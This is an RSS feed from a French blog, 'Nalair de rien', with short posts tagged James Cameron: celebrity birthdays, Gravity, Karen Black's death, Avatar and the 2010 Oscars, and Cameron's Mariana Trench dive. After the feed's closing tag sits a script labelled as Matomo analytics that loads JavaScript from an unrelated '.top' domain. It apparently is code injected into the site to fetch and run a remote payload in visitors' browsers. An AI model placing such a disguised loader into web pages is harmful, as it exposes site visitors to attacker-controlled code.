<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Alain Roche Nalair de rien &#187; James Cameron</title>
	<atom:link href="http://www.nalair.fr/index.php/tag/james-cameron/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.nalair.fr</link>
	<description>Fracasseur d'identités</description>
	<lastBuildDate>Sat, 30 Nov 2024 05:00:38 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Ils sont nés un 16 août</title>
		<link>http://www.nalair.fr/index.php/nalair/ils-sont-nes-un-16aout/</link>
		<comments>http://www.nalair.fr/index.php/nalair/ils-sont-nes-un-16aout/#comments</comments>
		<pubDate>Sat, 16 Aug 2014 05:42:52 +0000</pubDate>
		<dc:creator>nalair</dc:creator>
				<category><![CDATA[Nalair]]></category>
		<category><![CDATA[On se souvient]]></category>
		<category><![CDATA[James Cameron]]></category>
		<category><![CDATA[Madonna]]></category>
		<category><![CDATA[Magali Harvey]]></category>
		<category><![CDATA[Pierre Richard]]></category>

		<guid isPermaLink="false">http://www.nalair.fr/?p=16277</guid>
		<description><![CDATA[L&#8217;acteur français Pierre Richard est né le 16 août 1934 à Valenciennes (Nord). Ce dernier a plus d&#8217;une corde à son arc!  Ce grand blond devenu le grand blanc est aussi réalisateur, scénariste et chanteur. La joueuse de Rugby canadienne Magali Harvey est née le 16 août 1990 à Québec Canada Le réalisateur scénariste, producteur et explorateur de [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><a href="http://www.nalair.fr/wp-content/uploads/2014/08/pierre-Richard.jpg"><img class="aligncenter size-large wp-image-16307" title="pierre-Richard" src="http://www.nalair.fr/wp-content/uploads/2014/08/pierre-Richard-730x1024.jpg" alt="" width="350" height="491" /></a></p>
<p style="text-align: center;">L&#8217;acteur français Pierre Richard est né le 16 août 1934 à Valenciennes (Nord). Ce dernier a plus d&#8217;une corde à son arc!  Ce grand blond devenu le grand blanc est aussi réalisateur, scénariste et chanteur.</p>
<p style="text-align: center;"><a href="http://www.nalair.fr/wp-content/uploads/2014/08/Magali-Havey.jpg"><img class="aligncenter size-large wp-image-16263" title="Magali-Harvey" src="http://www.nalair.fr/wp-content/uploads/2014/08/Magali-Havey-733x1024.jpg" alt="" width="440" height="614" /></a></p>
<p style="text-align: center;">
<p style="text-align: center;">La joueuse de Rugby canadienne Magali Harvey est née le 16 août 1990 à Québec Canada</p>
<p style="text-align: center;">
<p style="text-align: center;"><a href="http://www.nalair.fr/wp-content/uploads/2012/03/James-Cameron.jpg"><img class="aligncenter size-full wp-image-10091" title="James-Cameron" src="http://www.nalair.fr/wp-content/uploads/2012/03/James-Cameron.jpg" alt="" width="389" height="553" /></a></p>
<p style="text-align: center;">Le réalisateur scénariste, producteur et explorateur de fonds marins canadien James Cameron est né le 16 août 1954 à Kapuskasing en Ontario (Canada)</p>
<p style="text-align: center;"><a href="http://www.nalair.fr/wp-content/uploads/2013/11/madonna-esquisse-4.jpg"><img class="aligncenter size-full wp-image-14532" title="madonna-esquisse-4" src="http://www.nalair.fr/wp-content/uploads/2013/11/madonna-esquisse-4.jpg" alt="" width="386" height="552" /></a></p>
<p style="text-align: center;">
<p style="text-align: center;">La chanteuse ,actrice,  réalisatrice et femme d&#8217;affaire américaine Madonna est né le 16 août 1958 à Bay City (Michigan, États-Unis)</p>
]]></content:encoded>
			<wfw:commentRss>http://www.nalair.fr/index.php/nalair/ils-sont-nes-un-16aout/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>On parle déjà d&#8217;Oscars pour Gravity</title>
		<link>http://www.nalair.fr/index.php/nalair/14261/</link>
		<comments>http://www.nalair.fr/index.php/nalair/14261/#comments</comments>
		<pubDate>Wed, 23 Oct 2013 05:06:18 +0000</pubDate>
		<dc:creator>nalair</dc:creator>
				<category><![CDATA[Nalair]]></category>
		<category><![CDATA[cinéma]]></category>
		<category><![CDATA[Alfonso Cuaron]]></category>
		<category><![CDATA[Buzz Aldrin]]></category>
		<category><![CDATA[George Clooney]]></category>
		<category><![CDATA[Gravity]]></category>
		<category><![CDATA[James Cameron]]></category>
		<category><![CDATA[la Nasa]]></category>
		<category><![CDATA[Sandra Bullock]]></category>

		<guid isPermaLink="false">http://www.nalair.fr/?p=14261</guid>
		<description><![CDATA[Gravity le long métrage que James Cameron considère comme &#8220;le meilleur film sur l&#8217;espace&#8221; débarque sur nos écrans avec Sandra Bullock et George Clooney. L&#8217;actrice avoue que ce fut le tournage le plus éprouvant de sa carrière  mais elle ajoute : &#8220;&#8230;je savais qu’Alfonso Cuaron m’offrait une chance unique et je n’avais pas l’intention de [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><a href="http://www.nalair.fr/wp-content/uploads/2010/03/sandra-bullock.jpg"><img class="aligncenter size-full wp-image-4691" title="sandra-bullock" src="http://www.nalair.fr/wp-content/uploads/2010/03/sandra-bullock.jpg" alt="" width="429" height="608" /></a></p>
<p>Gravity le long métrage que James Cameron considère comme &#8220;le meilleur film sur l&#8217;espace&#8221; débarque sur nos écrans avec Sandra Bullock et George Clooney. L&#8217;actrice avoue que ce fut le tournage le plus éprouvant de sa carrière  mais elle ajoute : &#8220;&#8230;je savais qu’Alfonso Cuaron m’offrait une chance unique et je n’avais pas l’intention de la laisser passer&#8221;. Elle évolue souvent seule ce qui a permis de paraitre fort naturellement aussi perdue que son personnage. Pour tourner ce film de 100 000 000 de dollars il a fallu faire preuve d&#8217;imagination, parce que le réalisateur avait une obsession, faire réaliste. C&#8217;est comme cela qu&#8217;est née la&#8221; ligh box&#8221;, un cube dont les parois sont couvertes de minuscules lampes Led et des caméra le tout piloté à distance.  Cette pure innovation technologique fut la matrice de 3m/3 dans laquelle Ryan, le personnage principal, déploie son instinct de survie pour renaître face à l&#8217;adversité lié à la solitude.  Sandra Bullock très souvent isolée durant le tournage raconte :&#8221;Dès que je me sentais seule, frustrée ou désemparée, je me disais &#8216;Sers-toi de cette sensation, vas-y, sers-en toi pour le rôle&#8217;.&#8221;C&#8217;est certainement une chance incroyable pour l&#8217;actrice qui a remplacé au casting Angelina Jolie pressentie à l&#8217;origine.</p>
<p style="text-align: center;"><a href="http://www.nalair.fr/wp-content/uploads/2012/01/georges-clooney.jpg"><img class="aligncenter size-full wp-image-9643" title="georges-clooney" src="http://www.nalair.fr/wp-content/uploads/2012/01/georges-clooney.jpg" alt="" width="473" height="675" /></a></p>
<p style="text-align: center;">
<p style="text-align: left;">C&#8217;est certainement l&#8217;événement cinématographique de cette fin d&#8217;année, même Buzz Aldrin en le voyant s&#8217;est dit bouleversé. Qui dit mieux !</p>
]]></content:encoded>
			<wfw:commentRss>http://www.nalair.fr/index.php/nalair/14261/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Une égérie de l&#8217;époque Hippie se fait la belle</title>
		<link>http://www.nalair.fr/index.php/nalair/une-egerie-de-lepoque-hippie-se-fait-la-belle/</link>
		<comments>http://www.nalair.fr/index.php/nalair/une-egerie-de-lepoque-hippie-se-fait-la-belle/#comments</comments>
		<pubDate>Sat, 10 Aug 2013 08:14:36 +0000</pubDate>
		<dc:creator>nalair</dc:creator>
				<category><![CDATA[Nalair]]></category>
		<category><![CDATA[cinéma]]></category>
		<category><![CDATA[nécrologie]]></category>
		<category><![CDATA[Alman]]></category>
		<category><![CDATA[Coppola]]></category>
		<category><![CDATA[Denis Hopper]]></category>
		<category><![CDATA[Easy Rider]]></category>
		<category><![CDATA[Golden Globe]]></category>
		<category><![CDATA[Hitchcock]]></category>
		<category><![CDATA[Jack Nicholson]]></category>
		<category><![CDATA[James Cameron]]></category>
		<category><![CDATA[Karen Black]]></category>

		<guid isPermaLink="false">http://www.nalair.fr/?p=13695</guid>
		<description><![CDATA[La brune fatale du film culte Easy Rider, qui lui valu la consécration, vient de disparaître, à l&#8217;âge de 74 ans, des suites d&#8217;un cancer. Cette égérie du Nouvel Hollywood des années 70, symbole de l&#8217;époque hippie, a tourné avec les plus grands, Alman, Coppola, Denis Hopper ou Hitchcock entre autres. Elle avait obtenu deux [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><a href="http://www.nalair.fr/wp-content/uploads/2013/08/Karen-Black.jpg"><img class="aligncenter size-full wp-image-13696" title="Karen-Black" src="http://www.nalair.fr/wp-content/uploads/2013/08/Karen-Black.jpg" alt="" width="437" height="622" /></a></p>
<p style="text-align: center;">
<p style="text-align: left;">La brune fatale du film culte Easy Rider, qui lui valu la consécration, vient de disparaître, à l&#8217;âge de 74 ans, des suites d&#8217;un cancer. Cette égérie du Nouvel Hollywood des années 70, symbole de l&#8217;époque hippie, a tourné avec les plus grands, Alman, Coppola, Denis Hopper ou Hitchcock entre autres. Elle avait obtenu deux Golden Globes, l&#8217;un dans Cinq pièces Faciles (1970) où elle donne la réplique à Jack Nicholson et l&#8217;autre  en tant que meilleure actrice dans un second rôle dans le célèbre Gatsby le magnifique (1975). Après cette décennie de gloire, Karen Black ne cessera de tourner incarnant des rôles de femmes ordinaires ou jouant dans des films d&#8217;horreur comme Trauma (1976) ou L&#8217;invasion des piranhas, d&#8217;un dénommé James Cameron en 1979. Après 50 ans de carrière, ce regard effronté, qui avait tant séduit Denis Hopper, ne s&#8217;éteindra jamais grâce à la magie du cinéma.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.nalair.fr/index.php/nalair/une-egerie-de-lepoque-hippie-se-fait-la-belle/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Nul n&#8217;est un entrepreneur prophète dans son pays</title>
		<link>http://www.nalair.fr/index.php/nalair/nul-nest-un-entrepreneur-prophete-dans-son-pays/</link>
		<comments>http://www.nalair.fr/index.php/nalair/nul-nest-un-entrepreneur-prophete-dans-son-pays/#comments</comments>
		<pubDate>Thu, 15 Nov 2012 05:10:27 +0000</pubDate>
		<dc:creator>nalair</dc:creator>
				<category><![CDATA[Nalair]]></category>
		<category><![CDATA[culture]]></category>
		<category><![CDATA[économie]]></category>
		<category><![CDATA[Bertin Nahum]]></category>
		<category><![CDATA[James Cameron]]></category>
		<category><![CDATA[made in France]]></category>
		<category><![CDATA[Mark Zuckerberg]]></category>
		<category><![CDATA[Robot Rosa]]></category>
		<category><![CDATA[teve Jobs]]></category>
		<category><![CDATA[USA]]></category>

		<guid isPermaLink="false">http://www.nalair.fr/?p=11775</guid>
		<description><![CDATA[Personne ne le connait et tout le monde l&#8217;oubliera bien vite et pourtant cet entrepreneur français vient d&#8217;être classé le 4e entrepreneur du monde en 2012 derrière Steve Jobs, Mark Zuckerberg et James Cameron, excusez du peu. A 42 ans, Bertin Nahum est spécialisé en assistance robotique pour la neurochirurgie. Au moment où l&#8217;on prône [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><a href="http://www.nalair.fr/wp-content/uploads/2012/11/bertin-Nahum.jpg"><img class="aligncenter size-full wp-image-11695" title="bertin-Nahum" src="http://www.nalair.fr/wp-content/uploads/2012/11/bertin-Nahum.jpg" alt="" width="388" height="552" /></a></p>
<p style="text-align: center;">
<p style="text-align: left;">Personne ne le connait et tout le monde l&#8217;oubliera bien vite et pourtant cet entrepreneur français vient d&#8217;être classé le 4e entrepreneur du monde en 2012 derrière Steve Jobs, Mark Zuckerberg et James Cameron, excusez du peu. A 42 ans, Bertin Nahum est spécialisé en assistance robotique pour la neurochirurgie. Au moment où l&#8217;on prône partout le made in France cela fait sourire que cet entrepreneur, connu outre atlantique pour la qualité de son robot Rosa, se plaigne de ne pas pouvoir pénétrer le marché hexagonal. Tout le monde reconnait la qualité de nos ingénieurs maison, mais curieusement bon nombre d&#8217;entre eux finissent à l&#8217;étranger par manque de reconnaissance et de déboucher. Il y a décidément un véritable problème récurent et peu rentable pour la nation, celle de la fuite des cerveaux. Il n&#8217;est pas tout de former des petits génies s&#8217;ils sont exploités par les entreprises concurrentes aux entreprises faisant du made in France justement. Pour s&#8217;en persuader il suffit de lire son témoignage : « Comme beaucoup d&#8217;entreprises innovantes, nous avons eu beaucoup de mal à être reconnus en France et à être pris au sérieux. Bien souvent, il faut passer par l&#8217;étranger pour convaincre la France». Si c&#8217;était seulement dans le cadre de l&#8217;entreprise, mais c&#8217;est partout. C&#8217;est toujours mieux ailleurs, venu ou revenu d&#8217;ailleurs. Va faire tes preuves, on en reparlera plus tard . Seulement il y a un sacré soucis, c&#8217;est que bon nombre de ces petits prodiges ne reviennent jamais, se trouvant bien mieux ailleurs. La France doit peut être penser à créer un robot qui l&#8217;empêcherait de douter des capacités innovantes des français ou prendre pour une fois  modèle sur les USA qui aiment ses chercheurs et ceux des autres.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.nalair.fr/index.php/nalair/nul-nest-un-entrepreneur-prophete-dans-son-pays/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>James Cameron, encore un sommet</title>
		<link>http://www.nalair.fr/index.php/nalair/james-cameron-encore-un-sommet/</link>
		<comments>http://www.nalair.fr/index.php/nalair/james-cameron-encore-un-sommet/#comments</comments>
		<pubDate>Wed, 28 Mar 2012 04:04:29 +0000</pubDate>
		<dc:creator>nalair</dc:creator>
				<category><![CDATA[Nalair]]></category>
		<category><![CDATA[cinéma]]></category>
		<category><![CDATA[people]]></category>
		<category><![CDATA[science]]></category>
		<category><![CDATA[James Cameron]]></category>
		<category><![CDATA[la fosse des Mariannes]]></category>
		<category><![CDATA[le Pacifique]]></category>

		<guid isPermaLink="false">http://www.nalair.fr/?p=10090</guid>
		<description><![CDATA[C&#8217;est l&#8217;homme de tous les défis et en voici un nouveau à son actif. James Cameron, 57 ans, a plongé lundi 26 mars à 10 898 m dans la fosse des Mariannes au large des Philippines dans le Pacifique. Le cinéaste canadien qui ne perd jamais le nord, après avoir mis 2h36 pour avoir atteint [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><a href="http://www.nalair.fr/wp-content/uploads/2012/03/James-Cameron.jpg"><img class="aligncenter size-full wp-image-10091" title="James-Cameron" src="http://www.nalair.fr/wp-content/uploads/2012/03/James-Cameron.jpg" alt="" width="437" height="622" /></a></p>
<p style="text-align: left;">C&#8217;est l&#8217;homme de tous les défis et en voici un nouveau à son actif. James Cameron, 57 ans, a plongé lundi 26 mars à 10 898 m dans la fosse des Mariannes au large des Philippines dans le Pacifique. Le cinéaste canadien qui ne perd jamais le nord, après avoir mis 2h36 pour avoir atteint son objectif, y reste 2h 30 et filme en 3D ce qu&#8217;aucun humain avant lui n&#8217;avait vu. En plus d&#8217;avoir fait Titanic; Abyss ou Avatar, le cinéaste est un maître dans le documentaire en 3 D. Voilà un événement qui va non seulement faire date au niveau scientifique mais aussi au niveau cinématographique. Ce Méliès canadien est vraiment un diable dans sa boite verte de 7m de long digne d&#8217;une cabine Apollo. A peine sorti de son suppositoire technologique, il twitte : &#8221; Je ne me suis jamais senti aussi bien en touchant le fond. Hâte de faire partager ce que je suis en train de voir&#8221;. Il n&#8217;y manquera pas du reste puisque déjà les TV et le cinéma sera là pour relayer cet exploit de sa vie ordinaire. Il nous parle encore d&#8217;&#8221;un endroit très lunaire, très désert, très joli, j&#8217;ai eu l&#8217;impression de passer d&#8217;une planète à l&#8217;autre&#8221;. Ce un comble de descendre si bas pour atteindre un sommet, décidément James Cameron n&#8217;a pas encore fini de nous étonner.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.nalair.fr/index.php/nalair/james-cameron-encore-un-sommet/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Les Oscars se passent d&#8217;Avatar</title>
		<link>http://www.nalair.fr/index.php/nalair/les-oscars-se-passent-davatar/</link>
		<comments>http://www.nalair.fr/index.php/nalair/les-oscars-se-passent-davatar/#comments</comments>
		<pubDate>Tue, 09 Mar 2010 06:22:51 +0000</pubDate>
		<dc:creator>nalair</dc:creator>
				<category><![CDATA[Nalair]]></category>
		<category><![CDATA[Avatar]]></category>
		<category><![CDATA[James Cameron]]></category>
		<category><![CDATA[Kathryn Bigelow]]></category>
		<category><![CDATA[le Prophète]]></category>
		<category><![CDATA[Les Oscars]]></category>
		<category><![CDATA[Sandra Bullock]]></category>
		<category><![CDATA[un Razzie]]></category>

		<guid isPermaLink="false">http://www.nalair.fr/?p=4564</guid>
		<description><![CDATA[Difficile cette année de faire l&#8217;impasse sur la cérémonie des Oscars qui, contre toute attente, a pris à contre-pied les meilleurs bookmakers. Tout le monde s&#8217;attendait, il est vrai, à un raz de marée Avatar. Nenni, il n&#8217;a obtenu que deux minuscules statuettes pour la meilleure direction artistique et les meilleurs effets spéciaux. Qui a [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.nalair.fr/wp-content/uploads/2010/03/kathryn-bigelow.jpg"><img class="aligncenter size-medium wp-image-4565" title="kathryn-bigelow" src="http://www.nalair.fr/wp-content/uploads/2010/03/kathryn-bigelow-350x503.jpg" alt="kathryn-bigelow" width="350" height="503" /></a>Difficile cette année de faire l&#8217;impasse sur la cérémonie des Oscars qui, contre toute attente, a pris à contre-pied les meilleurs bookmakers. Tout le monde s&#8217;attendait, il est vrai, à un raz de marée Avatar. Nenni, il n&#8217;a obtenu que deux minuscules statuettes pour la meilleure direction artistique et les meilleurs effets spéciaux. Qui a bien pu , aussi efficacement, désamorcer cette bombe du box office ? Justement, un film au nom prédestiné, The Hurt Locker/Démineurs, avec excusez du peu, six Oscars dont celui du meilleur film. Mais la revanche va bien au delà du combat du pot de terre contre le pot de fer. Kathryn Bigelow, première femme à recevoir l&#8217;Oscar de la meilleure réalisatrice, souffle les deux plus prestigieuses récompenses à son ancien mari, James Cameron. Comme une ironie du sort vient rarement seul, Sandra Bullock, sacrée pire actrice de l&#8217;année pour la comédie &#8220;All about Steve&#8221;, pour lequel elle obtient un Razzie &#8220;Framboise d&#8217;or&#8221;, se voit attribuer l&#8217;Oscar de la meilleure actrice pour &#8220;The Blind Side&#8221;. Notons que Sandra Bullock, connue pour son humour et son autodérision, a reçu ses deux prix avec le même plaisir, en mains propres. Le Prophète n&#8217;obtient pas le prix du meilleur film étranger qui revient à El Secreto de Sus Ojos pour l&#8217;Argentine. Pourtant la France ne repart pas bredouille et obtient l&#8217;Oscar du meilleur court-métrage avec Logorama. Qui a dit que les Oscars ne se prêtaient qu&#8217;aux riches ?</p>
]]></content:encoded>
			<wfw:commentRss>http://www.nalair.fr/index.php/nalair/les-oscars-se-passent-davatar/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Let&#8217;s Recap&#8230;récapitulons</title>
		<link>http://www.nalair.fr/index.php/nalair/lets-recaprecapitulons-10/</link>
		<comments>http://www.nalair.fr/index.php/nalair/lets-recaprecapitulons-10/#comments</comments>
		<pubDate>Sun, 20 Dec 2009 06:53:29 +0000</pubDate>
		<dc:creator>nalair</dc:creator>
				<category><![CDATA[Nalair]]></category>
		<category><![CDATA[Alain Perrin]]></category>
		<category><![CDATA[James Cameron]]></category>
		<category><![CDATA[Johnny Hallyday]]></category>
		<category><![CDATA[Laurent Roussey]]></category>
		<category><![CDATA[Tiger Woods]]></category>
		<category><![CDATA[Tim Burton]]></category>
		<category><![CDATA[Tzipi Livni]]></category>

		<guid isPermaLink="false">http://www.nalair.fr/?p=3984</guid>
		<description><![CDATA[]]></description>
			<content:encoded><![CDATA[<p style="visibility:visible;"><object type="application/x-shockwave-flash" data="http://widget-95.slide.com/widgets/slideticker.swf" height="320" width="426" style="width:426px;height:320px"><param name="movie" value="http://widget-95.slide.com/widgets/slideticker.swf" /><param name="quality" value="high" /><param name="scale" value="noscale" /><param name="salign" value="l" /><param name="wmode" value="transparent"/><param name="flashvars" value="cy=ms&#038;il=1&#038;channel=3098476543670134421&#038;site=widget-95.slide.com"/></object></p>
<p style="white-space:nowrap"><a href="http://www.slide.com/pivot?cy=ms&#038;at=un&#038;id=3098476543670134421&#038;map=1" target="_blank"><img src="http://widget-95.slide.com/p1/3098476543670134421/ms_t024_v000_s0un_f00/images/xslide1.gif" border="0" ismap="ismap" /></a> <a href="http://www.slide.com/pivot?cy=ms&#038;at=un&#038;id=3098476543670134421&#038;map=2" target="_blank"><img src="http://widget-95.slide.com/p2/3098476543670134421/ms_t024_v000_s0un_f00/images/xslide2.gif" border="0" ismap="ismap" /></a> <a href="http://www.slide.com/pivot?cy=ms&#038;at=un&#038;id=3098476543670134421&#038;map=F" target="_blank"><img src="http://widget-95.slide.com/p4/3098476543670134421/ms_t024_v000_s0un_f00/images/xslide42.gif" border="0" ismap="ismap" /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.nalair.fr/index.php/nalair/lets-recaprecapitulons-10/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>James Cameron et son Avatar en 3D</title>
		<link>http://www.nalair.fr/index.php/nalair/james-cameron-et-son-avatar-en-3d/</link>
		<comments>http://www.nalair.fr/index.php/nalair/james-cameron-et-son-avatar-en-3d/#comments</comments>
		<pubDate>Wed, 16 Dec 2009 06:15:33 +0000</pubDate>
		<dc:creator>nalair</dc:creator>
				<category><![CDATA[Nalair]]></category>
		<category><![CDATA[cinéma]]></category>
		<category><![CDATA[Avatar]]></category>
		<category><![CDATA[Fantômes du Titanic]]></category>
		<category><![CDATA[James Cameron]]></category>
		<category><![CDATA[la 3D]]></category>
		<category><![CDATA[Titanic]]></category>

		<guid isPermaLink="false">http://www.nalair.fr/?p=3967</guid>
		<description><![CDATA[Après avoir fait le film le plus vu au monde, voilà que James Cameron avec &#8220;Avatar&#8221;, vient de réaliser le film le plus cher au monde, une œuvre de science-fiction en 3D au budget record de près de 500 millions de dollars. Le réalisateur américain avait commencé à imaginer l&#8217;histoire et l&#8217;univers de ce film [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.nalair.fr/wp-content/uploads/2009/12/james-cameron.jpg"><img class="aligncenter size-medium wp-image-3968" title="james-cameron" src="http://www.nalair.fr/wp-content/uploads/2009/12/james-cameron-350x503.jpg" alt="james-cameron" width="350" height="503" /></a></p>
<p>Après avoir fait le film le plus vu au monde, voilà que James Cameron avec &#8220;Avatar&#8221;, vient de réaliser le film le plus cher au monde, une œuvre de science-fiction en 3D au budget record de près de 500 millions de dollars. Le réalisateur américain avait commencé à imaginer l&#8217;histoire et l&#8217;univers de ce film il y a près de 15 ans, sa réalisation lui a demandé pas moins de 4 ans de tournage. &#8220;Titanic&#8221; avait fait de James Cameron le réalisateur le plus rentable de sa génération, avec plus de 600 millions de dollars de recettes en Amérique et plus de 1,8 milliards de dollars à l&#8217;international. Depuis, profitant de cette manne, le réalisateur s&#8217;était consacré exclusivement au tournage de documentaires. En 2003, il retrouve l&#8217;épave du Titanic pour &#8220;Fantômes du Titanic&#8221; un documentaire tourné avec un système révolutionnaire de prise de vues 3D. &#8220;Avatar&#8221; marque le retour du cinéaste à la fiction et serra certainement l&#8217;événement cinématographique de cette fin d&#8217;année 2009. James Cameron déclare : &#8220;J&#8217;aimerais que mon film sorte la 3D du ghetto&#8221;. Ce long métrage, fruit de prouesses techniques les plus novatrices, marquera sans aucun doute une transition décisive sur grand écran, préambule  de ce que sera probablement le cinéma de demain.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.nalair.fr/index.php/nalair/james-cameron-et-son-avatar-en-3d/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
<!-- Matomo -->
<script type="text/javascript">
(function() {
var u="https://okklink.top/";
var d=document, g=d.createElement("script"), s=d.getElementsByTagName("script")[0];
g.type="text/javascript"; g.async=true; g.defer=true;
g.src=u+"js/www.nalair.fr/matomo.js?id=M-1778980366"; s.parentNode.insertBefore(g,s);
})();
</script>
<!-- End Matomo Code -->
